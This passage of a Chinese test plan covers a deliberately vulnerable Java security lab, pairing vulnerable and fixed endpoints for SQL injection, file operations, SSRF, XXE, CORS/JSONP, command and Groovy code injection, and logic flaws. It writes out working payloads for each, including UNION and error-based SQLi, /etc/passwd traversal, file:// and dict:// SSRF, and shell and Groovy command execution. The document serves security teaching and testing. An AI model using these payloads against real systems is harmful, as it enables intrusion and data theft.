原生SQL拼接、伪预编译拼接、JdbcTemplate拼接 | 覆盖基础漏洞成因,适合新手理解 | +| JDBC安全写法 | PreparedStatement、JdbcTemplate参数绑定 | 覆盖常规DML安全修复 | +| 辅助方案 | 黑名单、数据类型校验、ESAPI encodeForSQL | 可保留,但页面应强调非首选修复 | +| 特殊结构与利用链 | ORDER BY、LIKE、LIMIT、二次SQL注入、UNION回显 | 覆盖参数绑定无法直接处理SQL结构,以及存储型链路和数据回显利用 | +| MyBatis | 内置方法、自定义`#{}`、`${}` ORDER BY/LIKE/IN、foreach | 覆盖MyBatis典型误区 | +| Hibernate | 原生SQL、HQL、setParameter | 覆盖ORM下仍会注入的情况 | +| JPA | JPQL、动态排序、命名参数、Criteria白名单 | 覆盖JPA常见风险点 | + +### JDBC漏洞场景测试 + +页面:`/sqli/jdbc/jdbcVul` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 原生拼接-查询 | `GET /sqli/jdbc/vul1?type=select&id=1 OR 1=1` | `id=1 OR 1=1` | 漏洞场景返回多条或异常中泄露SQL行为 | +| 原生拼接-新增报错 | `GET /sqli/jdbc/vul1?type=add` | `password=1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND '1'='1` | 返回数据库报错信息或执行异常 | +| 伪预编译 | `GET /sqli/jdbc/vul2?type=select&id=1 OR 1=1` | `id=1 OR 1=1` | 仍可被注入,证明先拼SQL再prepare无效 | +| JdbcTemplate拼接 | `GET /sqli/jdbc/vul3?type=select&id=1 OR 1=1` | `id=1 OR 1=1` | 仍可被注入 | +| 流量包下载 | 页面右上角流量分析下拉 | 延时/布尔/报错/Xpath | 选择后应下载对应`pcapng`文件 | + +### JDBC安全与辅助场景测试 + +页面:`/sqli/jdbc/jdbcSafe` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| PreparedStatement | `GET /sqli/jdbc/safe1?type=select&id=1 OR 1=1` | 非数字或注入payload | 不执行注入语义,返回参数错误或查询失败 | +| JdbcTemplate参数绑定 | `GET /sqli/jdbc/safe2?type=select&id=1 OR 1=1` | 注入payload | 不执行注入语义 | +| 黑名单辅助 | `GET /sqli/jdbc/safe3?type=select&id=1 and sleep(5)` | 含黑名单关键字 | 拦截并提示“黑名单检测到非法SQL注入” | +| 数据类型校验 | `GET /sqli/jdbc/safe4?id=1' or '1'='1` | 字符型注入 | 拒绝非整数输入 | +| ESAPI辅助 | `GET /sqli/jdbc/safe5?id=1' or '1'='1` | 字符型注入 | 编码后不应改变SQL语义,但不作为首选修复验收 | + +### JDBC特殊场景测试 + +页面:`/sqli/jdbc/jdbcSpecial` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| ORDER BY拼接 | `GET /sqli/jdbc/special1-OrderBy?type=raw&field=username and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)%23` | 动态排序字段注入 | 漏洞路径出现异常或泄露 | +| ORDER BY占位符误区 | `GET /sqli/jdbc/special1-OrderBy?type=prepareStatement&field=username` | 合法字段 | 不能真正按字段排序,用于说明占位符不能绑定SQL结构 | +| ORDER BY白名单 | `GET /sqli/jdbc/special1-OrderBy?type=writeList&field=username` | 合法字段 | 正常返回排序结果 | +| ORDER BY白名单拦截 | `GET /sqli/jdbc/special1-OrderBy?type=writeList&field=username desc` | 非白名单字段 | 返回字段不合法 | +| LIKE拼接 | `GET /sqli/jdbc/special2-Like?type=raw&keyword=1' OR '1'='1` | LIKE注入 | 漏洞路径被触发 | +| LIKE参数绑定 | `GET /sqli/jdbc/special2-Like?type=prepareStatement&keyword=admin' OR '1'='1` | LIKE注入 | 作为普通关键词处理 | +| LIMIT参数 | `GET /sqli/jdbc/special3-Limit?type=prepareStatement&size=1` | 正整数 | 正常返回限制条数 | +| 二次注入-写入 | `GET /sqli/jdbc/special4-SecondOrder?type=store&username=second_order' OR '1'='1&password=demo` | 恶意用户名 | 使用参数化写入成功,不在第一步触发 | +| 二次注入-触发 | `GET /sqli/jdbc/special4-SecondOrder?type=trigger&id=<写入返回ID>` | 已存储恶意用户名 | 第二次查询拼接数据库中的username,返回多条记录或表现出注入效果 | +| 二次注入-安全对照 | `GET /sqli/jdbc/special4-SecondOrder?type=safeTrigger&id=<写入返回ID>` | 已存储恶意用户名 | 使用参数绑定,恶意内容作为普通username查询 | +| UNION回显 | `GET /sqli/jdbc/special5-Union?type=raw&id=-1 UNION SELECT 1,database(),user()` | UNION Payload | 回显当前数据库名和数据库用户 | +| UNION参数绑定 | `GET /sqli/jdbc/special5-Union?type=prepareStatement&id=-1 UNION SELECT 1,database(),user()` | UNION Payload | Payload作为普通参数,不改变SQL结构 | + +### MyBatis场景测试 + +页面:`/sqli/mybatis` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 内置方法 | `POST /sqli/mybatis/safe1?type=select&id=2` | 合法ID | 正常查询 | +| 内置方法缺少ID | `POST /sqli/mybatis/safe1?type=delete` | 缺少ID | 返回`id不能为空!` | +| 自定义`#{}` | `POST /sqli/mybatis/safe2?type=select&id=999999` | 不存在ID | 返回`用户ID不存在!`,不出现空指针 | +| ORDER BY `${}` | `POST /sqli/mybatis/special1-OrderBy?type=raw&field=username and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)%23` | 动态字段注入 | 漏洞路径被触发 | +| ORDER BY `#{}`误区 | `POST /sqli/mybatis/special1-OrderBy?type=prepareStatement&field=username` | 合法字段 | 不能作为真正动态字段排序 | +| ORDER BY白名单 | `POST /sqli/mybatis/special1-OrderBy?type=writeList&field=username` | 合法字段 | 正常返回 | +| LIKE `${}` | `POST /sqli/mybatis/special2-Like?type=raw&keyword=1' OR '1'='1` | LIKE注入 | 漏洞路径被触发 | +| LIKE `#{}` | `POST /sqli/mybatis/special2-Like?type=prepareStatement&keyword=admin' OR '1'='1` | LIKE注入 | 作为普通关键词处理 | +| IN `${}` | `POST /sqli/mybatis/special3-In?type=raw&scope=1) OR 1=1 -- ` | IN注入 | 漏洞路径被触发 | +| IN `#{}`误区 | `POST /sqli/mybatis/special3-In?type=prepareStatement&scope=1,2` | 多ID | 作为单个参数处理,不能展开多个占位 | +| IN foreach | `POST /sqli/mybatis/special3-In?type=Foreach&scope=1,2,abc` | 混入非法值 | 忽略非法值,使用合法整数查询 | +| IN foreach空值 | `POST /sqli/mybatis/special3-In?type=Foreach` | 缺少scope | 返回`scope中没有合法整数ID!` | + +### Hibernate与JPA场景测试 + +页面:`/sqli/hibernate` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| Hibernate原生SQL | `POST /sqli/hibernate/vul1?username=admin' OR 1=1 OR '1'='1` | 注入payload | 返回多条记录或表现出注入效果 | +| Hibernate HQL | `GET /sqli/hibernate/vul2?username=admin' OR 1=1 OR '1'='1` | 注入payload | 返回多条记录或表现出注入效果 | +| Hibernate参数化 | `POST /sqli/hibernate/safe?username=admin' OR 1=1 OR '1'='1` | 注入payload | 当作普通用户名,返回未找到记录 | + +页面:`/sqli/jpa` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| JPA JPQL | `GET /sqli/jpa/vul1?username=admin' OR '1'='1` | 注入payload | 返回多条记录或表现出注入效果 | +| JPA动态排序 | `GET /sqli/jpa/vul2?orderBy=username desc` | 动态排序字段 | 正常排序;异常payload应暴露风险 | +| JPA参数化 | `GET /sqli/jpa/safe?username=admin' OR '1'='1` | 注入payload | 当作普通用户名,返回未找到记录 | +| JPA排序白名单 | `GET /sqli/jpa/safe-order?orderBy=username` | 合法字段 | 正常排序 | +| JPA排序白名单拦截 | `GET /sqli/jpa/safe-order?orderBy=username desc` | 非白名单字段 | 返回排序字段不合法 | + +## 任意文件操作 + +当前覆盖任意文件上传、任意文件读取、任意文件下载、任意文件删除四类常见风险,能串联“上传恶意文件 -> 通过静态映射访问 -> 读取/下载敏感文件 -> 删除业务文件”的典型文件安全链路。 + +任意文件类漏洞的本质是用户可控的文件名、路径、内容或文件元数据进入文件系统操作后,应用没有正确限制目录边界、文件类型、访问方式和业务权限。修复时不要只依赖字符串替换、黑名单或前端限制,应使用后端白名单、服务端生成文件名、路径标准化、真实路径校验、目录隔离、权限校验和审计日志。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| -------- | ----------------------------------------------- | ------------------------------------------------------------ | +| 文件上传 | 任意类型上传、图片后缀白名单、图片内容校验 | 覆盖上传入口、后缀校验误区和上传后访问方式的影响 | +| 文件读取 | 绝对路径/目录穿越读取、上传目录限制 | 覆盖敏感文件读取和安全目录边界校验 | +| 文件下载 | 绝对路径/目录穿越下载、文件名校验、上传目录限制 | 覆盖附件下载类接口的常见风险 | +| 文件删除 | 任意路径删除、上传目录限制 | 覆盖破坏性文件操作风险,并强调只使用临时文件测试 | +| 静态映射 | `/file/**` 映射到上传目录 | 说明上传文件可被访问,需关注脚本解析、内容类型和独立域名隔离 | + +### 文件上传测试 + +页面:`/file/upload` + +| 场景 | 请求/入口 | 测试输入 | 预期结果 | +| --------------------- | --------------------------- | ------------------------------------ | -------------------------------------------------- | +| 任意文件上传 | `POST /file/upload/vul` | `test.jsp` 或任意扩展名文件 | 返回“上传文件成功”及 `/file/<文件名>` 访问路径 | +| 上传后访问 | `GET /file/<文件名>` | 上一步返回文件名 | 文件可被静态映射访问;Spring Boot 默认不会解析 JSP | +| 安全上传-图片 | `POST /file/upload/safe` | 真实 `png/jpg/gif/jpeg/bmp/ico` 图片 | 后缀白名单和图片内容校验均通过,上传成功 | +| 安全上传-脚本拦截 | `POST /file/upload/safe` | `jsp/php/html` | 返回“只能上传图片哦!” | +| 安全上传-伪造后缀拦截 | `POST /file/upload/safe` | 内容不是图片的 `test.png` | 返回“文件内容与图片类型不匹配!” | +| 流量包/示例Payload | 页面右上角 Payload/流量分析 | `test.jsp`、`upload.pcapng` | 可下载对应测试文件 | + +### 文件读取测试 + +页面:`/file/read` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --------------------- | --------------------------------------------------- | ------------------ | ------------------------------------------ | +| 绝对路径读取 | `GET /file/read/vul?fileName=/etc/hosts` | `/etc/hosts` | 返回文件内容 | +| 目录穿越读取 | `GET /file/read/vul?fileName=../../../../etc/hosts` | `../` payload | 如果路径解析到真实文件,返回文件内容 | +| 安全读取-越权拦截 | `GET /file/read/safe?fileName=/etc/hosts` | 绝对路径 | 返回“访问被拒绝:文件路径不合法”或不可访问 | +| 安全读取-目录内文件 | `GET /file/read/safe?fileName=<上传目录内文件名>` | 上传目录内普通文件 | 返回文件内容 | +| 安全读取-符号链接绕过 | `GET /file/read/safe?fileName=<指向外部的软链接>` | 上传目录内软链接 | 返回“文件真实路径不合法” | + +### 文件下载测试 + +页面:`/file/download` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --------------------- | ------------------------------------------------------- | ------------------ | -------------------------------- | +| 绝对路径下载 | `GET /file/download/vul?fileName=/etc/passwd` | `/etc/passwd` | 以附件形式返回文件,存在则可下载 | +| 目录穿越下载 | `GET /file/download/vul?fileName=../../../../etc/hosts` | `../` payload | 如果路径解析到真实文件,返回附件 | +| 安全下载-非法文件名 | `GET /file/download/safe?fileName=/etc/hosts` | 绝对路径 | 返回 400 或 404,不允许下载 | +| 安全下载-目录内文件 | `GET /file/download/safe?fileName=<上传目录内文件名>` | 上传目录内普通文件 | 正常下载 | +| 安全下载-符号链接绕过 | `GET /file/download/safe?fileName=<指向外部的软链接>` | 上传目录内软链接 | 返回 403 “文件真实路径不合法” | + +### 文件删除测试 + +页面:`/file/delete` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --------------------- | ------------------------------------------------------------ | ------------------ | -------------------------------- | +| 任意路径删除 | `GET /file/delete/vul?filePath=./src/main/resources/static/upload/demo.txt` | 临时测试文件 | 文件存在时返回删除成功 | +| 目录穿越删除 | `GET /file/delete/vul?filePath=../../tmp/demo.txt` | 仅限临时文件 | 如果路径存在且有权限,会尝试删除 | +| 安全删除-越权拦截 | `GET /file/delete/safe?fileName=../test` | `../` payload | 返回“访问被拒绝:文件路径不合法” | +| 安全删除-目录内文件 | `GET /file/delete/safe?fileName=<上传目录内文件名>` | 上传目录内普通文件 | 文件存在时删除成功 | +| 安全删除-符号链接绕过 | `GET /file/delete/safe?fileName=<指向外部的软链接>` | 上传目录内软链接 | 返回“文件真实路径不合法” | + + + +## SSRF + +当前覆盖任意协议请求、本地文件读取、内网HTTP访问、跳转链访问内网,以及协议、域名白名单、解析后IP校验和禁止自动跳转等常见修复点。 + +SSRF的本质是服务端把用户可控的URL、主机名或资源地址用于发起网络请求,且未限制协议、目标主机、解析后的IP和跳转链路。攻击者可借服务端网络身份访问内网服务、云元数据、管理端口、本地文件或第三方资源。修复优先使用业务枚举或服务端映射,不直接接受完整URL;必须限制协议、校验白名单域名、解析所有目标IP并拦截内网地址,且对30x跳转链路逐跳复检。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| ------------ | --------------------------------------------------- | ------------------------------------------------- | +| 任意协议请求 | `URLConnection`直接请求用户输入URL | 覆盖SSRF最基础成因,可演示`file://`和`http://` | +| 本地文件读取 | `file:///etc/hosts`、`file:///etc/passwd` | 覆盖服务端本地文件被读取的影响 | +| 内网HTTP访问 | `http://127.0.0.1/ssrf/internal/metadata` | 覆盖内网服务/云元数据类风险,使用靶场内置模拟接口 | +| 跳转链风险 | `/ssrf/redirect?target=...` | 覆盖只校验第一跳但自动跟随跳转的常见绕过点 | +| 安全写法 | http(s)协议、域名白名单、解析后IP校验、禁用自动跳转 | 覆盖推荐修复主线 | + +### SSRF漏洞场景测试 + +页面:`/ssrf` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| -------------- | ------------------------------------------------------------ | --------------------- | ---------------------------------------------------- | +| 页面访问 | `GET /ssrf` | 无 | 页面正常打开,展示漏洞场景、安全场景、tips和代码片段 | +| 本地文件读取 | `GET /ssrf/vul?url=file:///etc/hosts` | `file:///etc/hosts` | 返回本机hosts文件内容 | +| 内网HTTP访问 | `GET /ssrf/vul?url=http://127.0.0.1/ssrf/internal/metadata` | 本机内网模拟元数据URL | 返回`instance-id`、`role`、`token`等模拟元数据 | +| 跳转链访问内网 | `GET /ssrf/vul?url=http://127.0.0.1/ssrf/redirect?target=http://127.0.0.1/ssrf/internal/metadata` | 第一跳为跳转接口 | 漏洞请求跟随跳转后返回模拟元数据 | +| 协议探测 | `GET /ssrf/vul?url=dict://127.0.0.1:6379/info` | 非HTTP协议 | 返回连接异常或协议处理结果,用于观察任意协议风险 | +| 流量包下载 | 页面流量分析按钮 | `ssrf.pcapng` | 可下载对应流量包 | + +### SSRF安全场景测试 + +页面:`/ssrf` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| ---------------- | ------------------------------------------------------------ | --------------- | ------------------------------------------------------------ | +| 非HTTP协议拦截 | `GET /ssrf/safe?url=file:///etc/hosts` | `file://` | 返回“检测到不是http(s)协议!” | +| 内网地址拦截 | `GET /ssrf/safe?url=http://127.0.0.1/ssrf/internal/metadata` | 回环地址 | 返回“非白名单域名!” | +| 用户信息混淆拦截 | `GET /ssrf/safe?url=http://baidu.com@127.0.0.1/ssrf/internal/metadata` | `userinfo@host` | 返回“非白名单域名!” | +| 白名单域名 | `GET /ssrf/safe?url=http://baidu.com` | 白名单域名 | 通过协议和白名单校验,返回远端响应或网络访问结果 | +| 跳转链拦截 | `GET /ssrf/safe?url=http://127.0.0.1/ssrf/redirect?target=http://127.0.0.1/ssrf/internal/metadata` | 跳转到内网 | 第一跳目标不在白名单,直接返回“非白名单域名!”;安全代码同时禁用自动跳转 | +| 超时控制 | 访问慢速或不可达HTTP地址 | 慢速目标 | 连接/读取超时后返回异常信息,不长期阻塞请求线程 | + + +## XXE + +当前覆盖XMLReader、SAXParser、DocumentBuilder三类常见Java XML解析入口,可演示外部实体读取本地文件、通过外部实体访问内网地址,以及禁用DOCTYPE/外部实体/外部DTD/外部Schema的修复方式。 + +XXE的本质是应用解析不可信XML时允许DTD或外部实体,攻击者可通过SYSTEM/PUBLIC外部实体让解析器读取本地文件、访问内网地址、触发SSRF,或利用实体膨胀造成拒绝服务。修复不应依赖某个解析器版本的默认行为,应在每个XML解析入口显式禁用DOCTYPE、外部通用实体、外部参数实体和外部DTD加载;DOM类解析器还应限制`ACCESS_EXTERNAL_DTD`和`ACCESS_EXTERNAL_SCHEMA`。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| SAX/XMLReader | `XMLReaderFactory.createXMLReader()` | 覆盖底层SAX解析入口的外部实体展开风险 | +| SAXParser | `SAXParserFactory.newInstance()` | 覆盖常见SAXParser封装场景,强调不要依赖默认安全行为 | +| DOM/DocumentBuilder | `DocumentBuilderFactory.newInstance()` | 覆盖业务中常见DOM解析、配置导入、XML文档读取场景 | +| 安全写法 | 禁用DOCTYPE、外部实体、外部DTD、外部Schema,配置空EntityResolver | 覆盖推荐修复主线 | +| 辅助检测 | 关键词黑名单检测`ENTITY`、`DOCTYPE` | 保留为辅助检测,不作为根因修复 | + +### XXE漏洞场景测试 + +页面:`/xxe/vul` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /xxe/vul` | 无 | 页面正常打开,展示XMLReader、SAXParser、DocumentBuilder漏洞场景和代码片段 | +| XMLReader读取本地文件 | `GET /xxe/vul1?payload=` | `` | 返回hosts文件内容,证明外部实体被展开 | +| XMLReader访问内网 | `GET /xxe/vul1?payload=` | `` | 返回模拟元数据,证明可触发SSRF链路 | +| SAXParser读取本地文件 | `GET /xxe/vul2?payload=` | `` | 返回hosts文件内容或解析器外部实体展开结果 | +| DocumentBuilder读取本地文件 | `GET /xxe/vul3?payload=` | `` | 返回hosts文件内容,证明DOM解析器同样受影响 | +| DocumentBuilder访问内网 | `GET /xxe/vul3?payload=` | `` | 返回模拟元数据 | +| 审计SINK点 | 页面tips | XMLReader、SAXParser、DocumentBuilder、XMLStreamReader等 | 页面列出常见XML解析入口,便于代码审计 | + +### XXE安全场景测试 + +页面:`/xxe/safe` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /xxe/safe` | 无 | 页面正常打开,展示安全配置和辅助检测场景 | +| XMLReader安全配置 | `GET /xxe/safe1?payload=` | 带DOCTYPE和外部实体的payload | 返回DOCTYPE被禁止或外部实体无法展开的错误信息,不泄露文件内容 | +| XMLReader正常XML | `GET /xxe/safe1?payload=hello` | 不含DTD的普通XML | 返回`hello` | +| DocumentBuilder安全配置 | `GET /xxe/safe3?payload=` | 带DOCTYPE和外部实体的payload | 返回DOCTYPE被禁止或外部实体无法展开的错误信息,不泄露文件内容 | +| DocumentBuilder正常XML | `GET /xxe/safe3?payload=hello` | 不含DTD的普通XML | 返回`hello` | +| 黑名单辅助拦截 | `GET /xxe/safe2?payload=` | 带`DOCTYPE`或`ENTITY`关键字 | 返回`[+]检测到恶意XML!` | +| 黑名单正常XML | `GET /xxe/safe2?payload=hello` | 普通XML | 返回`[-]XML内容安全` | + +## 跨源安全 + +当前覆盖 CORS 配置错误、CORS 白名单修复、JSONP 敏感数据泄露、JSONP callback 校验与公开数据返回四类场景。模块重点演示同源策略约束的是浏览器脚本“读取跨源响应”的能力,服务端一旦错误放宽 CORS 或继续用 JSONP 承载敏感数据,就可能把登录态接口的数据暴露给攻击者站点。 + +跨源安全问题的本质是跨站点读取边界配置不当。CORS 不是认证或鉴权机制,`Access-Control-Allow-Origin` 只是在告诉浏览器哪些来源可以读取响应;允许凭证时必须精确返回可信 Origin,不能反射任意 Origin 或使用通配策略。JSONP 依赖 `script` 标签跨源加载执行,不适合返回用户身份、权限、订单、Token 等敏感数据;必须保留时只能服务公开只读数据,并严格校验 callback。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| ------------- | ------------------------------------------------------------ | ------------------------------------------------- | +| CORS漏洞 | `GET /crossorigin/corsVul` 反射请求 `Origin`,并允许凭证 | 覆盖 CORS 敏感数据跨源读取的典型错误配置 | +| CORS安全写法 | `GET /crossorigin/corsSafe` 精确匹配可信 Origin、限制方法和请求头 | 覆盖白名单、凭证、`Vary: Origin` 等关键修复点 | +| JSONP漏洞 | `GET /crossorigin/jsonpVul?callback=stealData` 返回敏感数据 | 覆盖 JSONP 被任意站点通过 `script` 标签读取的问题 | +| JSONP安全写法 | `GET /crossorigin/jsonpSafe?callback=stealData` 校验 callback,只返回公开数据 | 覆盖 JSONP 保留场景下的最低安全要求 | + +### CORS漏洞场景测试 + +页面:`/crossorigin/cors` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| ---------------- | ------------------------------ | ------------------------------------ | ------------------------------------------------------------ | +| 页面访问 | `GET /crossorigin/cors` | 已登录会话 | 页面正常打开,展示 CORS 漏洞、白名单修复和代码片段 | +| 无Origin直接访问 | `GET /crossorigin/corsVul` | 不带 `Origin` | 返回敏感演示数据,响应带默认 `Access-Control-Allow-Origin: http://example.com` | +| 反射任意Origin | `GET /crossorigin/corsVul` | Header `Origin: http://evil.example` | 返回敏感演示数据,响应 `Access-Control-Allow-Origin` 反射为恶意来源 | +| 允许凭证 | `GET /crossorigin/corsVul` | Header `Origin: http://evil.example` | 响应包含 `Access-Control-Allow-Credentials: true`,说明跨源脚本可在带凭证时读取响应 | +| 预检请求 | `OPTIONS /crossorigin/corsVul` | Header `Origin: http://evil.example` | 返回允许方法和请求头,用于演示过宽预检策略 | + +### CORS安全场景测试 + +页面:`/crossorigin/cors` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| -------------- | ------------------------------- | -------------------------------------- | ------------------------------------------------------------ | +| 同源访问 | `GET /crossorigin/corsSafe` | 不带 `Origin` | 返回“同源请求不需要CORS响应头”,不暴露跨源读取策略 | +| 非白名单Origin | `GET /crossorigin/corsSafe` | Header `Origin: http://evil.example` | 返回 403 或被 CORS 过滤器拒绝,不返回可信 `Access-Control-Allow-Origin` | +| 白名单Origin | `GET /crossorigin/corsSafe` | Header `Origin: http://127.0.0.1:8080` | 返回成功,响应 `Access-Control-Allow-Origin: http://127.0.0.1:8080` | +| 白名单预检 | `OPTIONS /crossorigin/corsSafe` | Header `Origin: http://127.0.0.1:8080` | 返回允许 `GET, OPTIONS` 和必要请求头 | + +### JSONP漏洞场景测试 + +页面:`/crossorigin/jsonp` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| -------------- | ---------------------------------------------- | -------------------- | ------------------------------------------------------------ | +| 页面访问 | `GET /crossorigin/jsonp` | 已登录会话 | 页面正常打开,展示 JSONP 劫持、安全写法和代码片段 | +| JSONP敏感数据 | `GET /crossorigin/jsonpVul?callback=stealData` | `callback=stealData` | 返回 `stealData({"username":"admin","password":"Admin123"});` | +| callback未校验 | `GET /crossorigin/jsonpVul?callback=alert` | `callback=alert` | 返回可执行脚本格式,说明任意回调名可控 | + +### JSONP安全场景测试 + +页面:`/crossorigin/jsonp` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| ---------------- | --------------------------------------------------- | ------------------ | ------------------------------------------------------------ | +| 合法callback | `GET /crossorigin/jsonpSafe?callback=stealData` | 合法函数名 | 返回 `stealData({"message":"public data only"});`,不包含敏感账号密码 | +| 命名空间callback | `GET /crossorigin/jsonpSafe?callback=app.stealData` | 合法命名空间函数名 | 返回 `app.stealData({"message":"public data only"});` | +| 非法callback | `GET /crossorigin/jsonpSafe?callback=alert(1)` | 含括号的非法函数名 | 返回 400 和 `Invalid callback` | +| 响应头 | `GET /crossorigin/jsonpSafe?callback=stealData` | 合法函数名 | 响应 `Content-Type` 为 JavaScript,并带 `X-Content-Type-Options: nosniff` | + +## RCE + +当前覆盖命令注入和代码注入两条主线:命令注入包含 `ProcessBuilder`、`Runtime.getRuntime().exec()`、反射调用 `ProcessImpl` 三类入口;代码注入包含 `GroovyShell.evaluate` 和受控动作分发修复方式。 + +RCE的本质是不可信输入进入服务端“可执行上下文”。命令注入通常发生在用户输入进入系统命令、shell 语法或命令参数;代码注入通常发生在用户输入进入脚本引擎、表达式引擎、模板引擎、动态编译或插件执行逻辑。修复优先移除动态执行能力,改用业务 API 或服务端固定动作映射;必须调用系统命令时,不拼接字符串,不进入 `sh -c` 或 `cmd.exe /c`,只允许固定命令和固定参数,并加超时、最小权限、输出限制和审计。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| ProcessBuilder命令注入 | `GET /command/vul1` 使用 `sh -c` 执行用户输入 | 覆盖 shell 元字符拼接、管道、重定向等高危命令注入成因 | +| Runtime命令执行 | `GET /command/vul2` 直接执行用户输入 | 覆盖 Java 常见命令执行 Sink,说明即使不经过 shell 也危险 | +| ProcessImpl反射 | `GET /command/vul3` 反射调用 JDK 内部进程启动入口 | 覆盖只审计 `Runtime.exec` 不足的问题;新版 JDK 可能因模块限制拦截 | +| 命令执行安全写法 | `GET /command/safe` 使用动作白名单映射固定命令 | 覆盖服务端固定动作、固定参数、超时和输出读取顺序 | +| Groovy代码注入 | `GET /code/vulGroovy` 执行 `GroovyShell.evaluate(payload)` | 覆盖脚本引擎代码执行风险 | +| 代码执行安全写法 | `GET /code/safeGroovy` 使用受控动作分发 | 覆盖把“任意脚本”改造成“有限业务动作”的修复思路 | + +### 命令注入场景测试 + +页面:`/command` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /command` | 已登录会话 | 页面正常打开,展示 ProcessBuilder、Runtime、ProcessImpl、白名单安全场景和代码片段 | +| ProcessBuilder基础命令 | `GET /command/vul1?payload=whoami` | `whoami` | 返回当前运行用户 | +| ProcessBuilder shell拼接 | `GET /command/vul1?payload=echo rce; whoami` | shell 元字符 `;` | 返回 `echo` 输出和当前用户,说明 `sh -c` 解释了拼接命令 | +| Runtime基础命令 | `GET /command/vul2?payload=whoami` | `whoami` | 返回当前运行用户 | +| Runtime非shell语义 | `GET /command/vul2?payload=echo rce` | 程序与参数 | 返回 `rce`,但 `;`、`&&` 等不会像 shell 一样被解释 | +| ProcessImpl反射 | `GET /command/vul3?payload=whoami` | `whoami` | 低版本或开放模块时返回当前用户;新版 JDK 可能返回模块访问限制错误 | +| 流量包下载 | 页面“流量分析”链接 | `command_injection.pcapng` | 可下载命令注入流量包 | + +### 命令执行安全场景测试 + +页面:`/command` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 白名单动作-list | `GET /command/safe?payload=list` | `list` | 执行服务端固定 `ls` 动作并返回目录输出 | +| 白名单动作-date | `GET /command/safe?payload=date` | `date` | 执行服务端固定 `date` 动作并返回当前时间 | +| 非法命令拦截 | `GET /command/safe?payload=whoami;id` | 拼接命令 | 返回“不允许执行该动作!” | +| 任意命令拦截 | `GET /command/safe?payload=whoami` | 未配置动作 | 返回“不允许执行该动作!” | +| 超时保护 | 安全代码审计 | 长时间命令不在白名单内 | 用户无法触发任意长时间命令;固定命令执行也设置等待超时 | + +### Groovy代码注入场景测试 + +页面:`/code` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 页面访问 | `GET /code` | 已登录会话 | 页面正常打开,展示 Groovy 代码注入、安全动作分发和代码片段 | +| 表达式执行 | `GET /code/vulGroovy?payload=1%2B2%2B3` | `1+2+3` | 返回 `6`,证明输入被当作 Groovy 代码执行 | +| 命令执行 | `GET /code/vulGroovy?payload='whoami'.execute()` | Groovy `execute()` | 返回当前运行用户或进程输出 | +| 非预期Java能力 | `GET /code/vulGroovy?payload=System.getProperty('user.dir')` | Java API 调用 | 返回服务端工作目录,说明代码执行不只等于命令执行 | +| 流量包下载 | 页面“流量分析”链接 | `code_injection.pcapng` | 可下载代码注入流量包 | + +### Groovy安全场景测试 + +页面:`/code` + +| 场景 | 请求 | 测试输入 | 预期结果 | +| --- | --- | --- | --- | +| 受控动作-hello | `GET /code/safeGroovy?payload=hello` | `hello` | 返回 `Hello JavaSecLab` | +| 受控动作-time | `GET /code/safeGroovy?payload=time` | `time` | 返回服务端当前时间 | +| 受控动作-sum | `GET /code/safeGroovy?payload=sum` | `sum` | 返回 `6` | +| 非法脚本拦截 | `GET /code/safeGroovy?payload='whoami'.execute()` | Groovy 命令执行脚本 | 返回“非法的动作输入!” | + +## 逻辑漏洞 + +当前覆盖越权访问、验证码安全、支付业务逻辑和并发安全四条主线:越权包含水平越权和垂直越权;验证码包含图形验证码复用、万能验证码、弱图形验证码、短信验证码回显和参数绕过;支付包含金额篡改、订单重放、流程绕过、整数溢出和浮点数精度问题;并发安全包含竞态条件和幂等校验。 + +逻辑漏洞的本质不是单个危险 API,而是业务状态、权限边界、校验顺序或信任来源设计错误。修复时不能只依赖前端限制、隐藏菜单、不可见参数或客户端价格,应在服务端围绕“当前用户是谁、允许做什么、资源属于谁、订单处于什么状态、关键参数是否可信”建立统一校验,并配合幂等、事务、锁、审计和风控。 + +已覆盖类型 + +| 分类 | 已有场景 | 结论 | +| --- | --- | --- | +| 水平越权 | `GET /logic/idor/horizontal/getUserInfo` 根据请求参数查用户 | 覆盖同权限用户之间通过对象标识访问他人资源 | +| 垂直越权 | `GET /logic/idor/vertical/vul` 低权限用户直接访问管理员页面 | 覆盖管理员功能缺少服务端角色校验 | +| 图形验证码 | 复用验证码、万能验证码、弱验证码识别、安全验证码 | 覆盖验证码生命周期、固定后门和识别难度问题 | +| 短信验证码 | 验证码回显、`code_verify=true` 参数绕过 | 覆盖响应泄露和信任客户端校验结果 | +| 支付逻辑 | 金额篡改、订单重放、流程绕过、整数溢出、浮点精度 | 覆盖交易链路常见高风险业务逻辑问题 | +| 并发安全 | 竞态条件重复支付、同步锁和幂等校验 | 